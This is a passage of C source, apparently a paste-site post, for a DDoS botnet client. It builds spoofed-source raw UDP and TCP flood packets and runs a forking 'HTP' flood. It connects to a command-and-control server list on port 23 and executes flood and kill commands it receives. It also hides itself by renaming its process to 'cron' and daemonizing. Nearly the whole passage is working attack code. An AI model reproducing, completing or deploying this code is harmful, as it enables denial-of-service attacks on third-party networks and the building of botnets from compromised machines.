  552.         udph->source = rand_cmwc(); udph->dest = (port == 0 ? rand_cmwc() : htons(port)); udph->check = 0;
  553.         makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
  554.         iph->check = csum ((unsigned short *) packet, iph->tot_len);
  555.         int end = time(NULL) + timeEnd;
  556.         register unsigned int i = 0; while(1) {
  557.         sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  558.         udph->source = rand_cmwc();
  559.         udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  560.         iph->id = rand_cmwc();
  561.         iph->saddr = htonl( getRandomIP(netmask) );
  562.         iph->check = csum ((unsigned short *) packet, iph->tot_len);
  563.         if(i == pollRegister) { if(time(NULL) > end) break; i = 0; continue; }
  564.         i++; } } }
  565. void zxc(unsigned char *target, int port, int timeEnd, int spoofit, unsigned char *flags, int packetsize, int pollinterval)
  566. {
  567.         register unsigned int pollRegister;
  568.         pollRegister = pollinterval;
  569.         struct sockaddr_in dest_addr;
  570.         dest_addr.sin_family = AF_INET;
  571.         if(port == 0) dest_addr.sin_port = rand_cmwc();
  572.         else dest_addr.sin_port = htons(port);
  573.         if(getHost(target, &dest_addr.sin_addr)) return;
  574.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  575.         int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  576.         if(!sockfd) { return; }
  577.         int tmp = 1;
  578.         if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0) { return; }
  579.         in_addr_t netmask;
  580.         if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  581.         else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  582.         unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
  583.         struct iphdr *iph = (struct iphdr *)packet;
  584.         struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  585.         makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
  586.         tcph->source = rand_cmwc();
  587.         tcph->seq = rand_cmwc();
  588.         tcph->ack_seq = 0;
  589.         tcph->doff = 5;
  590.         tcph->urg_ptr = 0;
  591.         if(!strcmp(flags, "all")) {
  592.         tcph->syn = 1;
  593.         tcph->rst = 1;
  594.         tcph->fin = 1;
  595.         tcph->ack = 1;
  596.         tcph->psh = 1;
  597.         tcph->urg = 1;
  598.         tcph->urg_ptr = 1;
  599.         } else {
  600.         unsigned char *pch = strtok(flags, ","); while(pch) {
  601.         if(!strcmp(pch, "syn")) { tcph->syn = 1; }
  602.         else if(!strcmp(pch,  "rst")) { tcph->rst = 1; }
  603.         else if(!strcmp(pch,  "fin")) { tcph->fin = 1; }
  604.         else if(!strcmp(pch,  "ack")) { tcph->ack = 1; }
  605.         else if(!strcmp(pch,  "psh")) { tcph->psh = 1; }
  606.         else if(!strcmp(pch,  "urg")) { tcph->urg = 1; tcph->urg_ptr = 1; } else {
  607.         }
  608.         pch = strtok(NULL, ","); } }
  609.         tcph->window = rand_cmwc();
  610.         tcph->check = 0;
  611.         tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
  612.         tcph->check = tcpcsum(iph, tcph);
  613.         iph->check = csum ((unsigned short *) packet, iph->tot_len);
  614.         int end = time(NULL) + timeEnd;
  615.         register unsigned int i = 0;
  616.         while(1) { sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  617.         iph->saddr = htonl( getRandomIP(netmask) );
  618.         iph->id = rand_cmwc();
  619.         tcph->seq = rand_cmwc();
  620.         tcph->source = rand_cmwc();
  621.         tcph->check = 0;
  622.         tcph->check = tcpcsum(iph, tcph);
  623.         iph->check = csum ((unsigned short *) packet, iph->tot_len);
  624.         if(i == pollRegister) { if(time(NULL) > end) break; i = 0; continue; }
  625.         i++; } }
  626. void processCmd(int argc, unsigned char *argv[])
  627. {
  628.         int x;
  629.         if(!strcmp(argv[0], "HTP")) {
  630.         uint32_t parent;
  631.         parent = fork();        
  632.         int ii = 0;
  633.         int forks = sysconf( _SC_NPROCESSORS_ONLN );
  634.         int fds = 999999;
  635.         if(forks == 1) fds = 500;
  636.         if(forks >= 2) fds = 1000;
  637.         if (argc >= 2) fds = atoi(argv[1]);
  638.         if (argc >= 3) forks = atoi(argv[2]);
  639.         if (parent > 0) { scanPid = parent; return;}
  640.         else if(parent == -1) return;
  641.         for (ii = 0; ii < forks; ii++) {
  642.         srand((time(NULL) ^ getpid()) + getppid());
  643.         init_rand(time(NULL) ^ getpid());
  644.         htp(100, fds);
  645.         _exit(0); } }
  646.         if(!strcmp(argv[0], "UDP")) {
  647.         if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[5]) == -1 || atoi(argv[5]) > 65500 || atoi(argv[4]) > 32 || (argc == 7 && atoi(argv[6]) < 1)) {
  648.         return; }
  649.         unsigned char *ip = argv[1];
  650.         int port = atoi(argv[2]);
  651.         int time = atoi(argv[3]);
  652.         int spoofed = atoi(argv[4]);
  653.         int packetsize = atoi(argv[5]);
  654.         int pollinterval = (argc == 7 ? atoi(argv[6]) : 10);
  655.         if(strstr(ip, ",") != NULL) {
  656.         unsigned char *hi = strtok(ip, ",");
  657.         while(hi != NULL) {
  658.         if(!listFork()) { asd(hi, port, time, spoofed, packetsize, pollinterval); _exit(0); }
  659.         hi = strtok(NULL, ","); }
  660.         } else {
  661.         if (listFork()) { return; } asd(ip, port, time, spoofed, packetsize, pollinterval); _exit(0); } }
  662.         if(!strcmp(argv[0], "TCP")) {
  663.         if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 32 || (argc > 6 && atoi(argv[6]) < 0) || (argc == 8 && atoi(argv[7]) < 1)) {
  664.         return; }
  665.         unsigned char *ip = argv[1];
  666.         int port = atoi(argv[2]);
  667.         int time = atoi(argv[3]);
  668.         int spoofed = atoi(argv[4]);
  669.         unsigned char *flags = argv[5];
  670.         int pollinterval = argc == 8 ? atoi(argv[7]) : 10;
  671.         int psize = argc > 6 ? atoi(argv[6]) : 0;
  672.         if(strstr(ip, ",") != NULL) {
  673.         unsigned char *hi = strtok(ip, ",");
  674.         while(hi != NULL) { if(!listFork()) { zxc(hi, port, time, spoofed, flags, psize, pollinterval); _exit(0); }
  675.         hi = strtok(NULL, ","); }
  676.         } else { if (listFork()) { return; }
  677.         zxc(ip, port, time, spoofed, flags, psize, pollinterval); _exit(0); } }
  678.         if(!strcmp(argv[0], "DIE")) {
  679.         exit(0); } }
  680. int initConnection()
  681. {
  682.         unsigned char server[512];
  683.         memset(server, 0, 512);
  684.         if(mainCommSock) { close(mainCommSock); mainCommSock = 0; }
  685.         if(currentServer + 1 == SERVER_LIST_SIZE) currentServer = 0;
  686.         else currentServer++;
  687.         strcpy(server, commServer[currentServer]);
  688.         int port = 23;
  689.         if(strchr(server, ':') != NULL) { port = atoi(strchr(server, ':') + 1);
  690.         *((unsigned char *)(strchr(server, ':'))) = 0x0; }
  691.         mainCommSock = socket(AF_INET, SOCK_STREAM, 0);
  692.         if(!connectTimeout(mainCommSock, server, port, 30)) return 1;
  693.         return 0; }
  694. int getOurIP()
  695. {
  696.         int sock = socket(AF_INET, SOCK_DGRAM, 0);
  697.         if(sock == -1) return 0;
  698.         struct sockaddr_in serv;
  699.         memset(&serv, 0, sizeof(serv));
  700.         serv.sin_family = AF_INET;
  701.         serv.sin_addr.s_addr = inet_addr("8.8.8.8");
  702.         serv.sin_port = htons(53);
  703.         int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
  704.         if(err == -1) return 0;
  705.         struct sockaddr_in name;
  706.         socklen_t namelen = sizeof(name);
  707.         err = getsockname(sock, (struct sockaddr*) &name, &namelen);
  708.         if(err == -1) return 0;
  709.         ourIP.s_addr = name.sin_addr.s_addr;
  710.         int cmdline = open("/proc/net/route", O_RDONLY);
  711.         char linebuf[4096];
  712.         while(fdgets(linebuf, 4096, cmdline) != NULL) { if(strstr(linebuf, "\t00000000\t") != NULL) {
  713.         unsigned char *pos = linebuf;
  714.         while(*pos != '\t') pos++; *pos = 0; break; }
  715.         memset(linebuf, 0, 4096); }
  716.         close(cmdline);
  717.         if(*linebuf) { int i; struct ifreq ifr; strcpy(ifr.ifr_name, linebuf); ioctl(sock, SIOCGIFHWADDR, &ifr);
  718.         for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i]; }
  719.         close(sock); }
  720. int main(int argc, unsigned char *argv[])
  721. {
  722.         char *mynameis = "cron";
  723.         if(SERVER_LIST_SIZE <= 0) return 0;
  724.         strncpy(argv[0],"cron",strlen(argv[0]));
  725.         argv[0] = "cron";
  726.         prctl(PR_SET_NAME, (unsigned long) mynameis, 0, 0, 0);
  727.         srand(time(NULL) ^ getpid());
  728.         printf("connecting...");
  729.         init_rand(time(NULL) ^ getpid());
  730.         pid_t pid1;
  731.         pid_t pid2;
  732.         int status;
  733.         getOurIP();
  734.         if (pid1 = fork()) { waitpid(pid1, &status, 0); exit(0); } else if (!pid1) { if (pid2 = fork()) { exit(0); } else if (!pid2) {
  735.         } else {
  736.         } } else {
  737.         }
  738.         setsid(); chroot("/"); chdir("/");
  739.         signal(SIGPIPE, SIG_IGN); while(1) { if(initConnection()) { sleep(5); continue; }
  740.         char commBuf[4096]; int got = 0; int i = 0;
  741.         while((got = recvLine(mainCommSock, commBuf, 4096)) != -1) { for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
  742.         unsigned int *newpids, on; for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on]; pids[on - 1] = 0; numpids--;
  743.         newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
  744.         for (on = 0; on < numpids; on++) newpids[on] = pids[on]; free(pids); pids = newpids; }
  745.         commBuf[got] = 0x00; trim(commBuf);
  746.         if(strstr(commBuf, "PING") == commBuf) { continue; }
  747.         if(strstr(commBuf, "DUP") == commBuf) exit(0);
  748.         unsigned char *message = commBuf; if(*message == '!') {
  749.         unsigned char *nickMask = message + 1;
  750.         while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
  751.         if(*nickMask == 0x00) continue; *(nickMask) = 0x00; nickMask = message + 1;
  752.         message = message + strlen(nickMask) + 2;
  753.         while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
  754.         unsigned char *command = message; while(*message != ' ' && *message != 0x00) message++; *message = 0x00; message++;
  755.         unsigned char *tmpcommand = command;
  756.         while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }
  757.         unsigned char *params[10]; int paramsCount = 1;
  758.         unsigned char *pch = strtok(message, " ");
  759.         params[0] = command; while(pch) { if(*pch != '\n') {
  760.         params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
  761.         memset(params[paramsCount], 0, strlen(pch) + 1); strcpy(params[paramsCount], pch); paramsCount++; }
  762.         pch = strtok(NULL, " "); }
  763.         processCmd(paramsCount, params);
  764.         if(paramsCount > 1) { int q = 1; for(q = 1; q < paramsCount; q++) { free(params[q]); } } } } }
  765.         return 0; }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement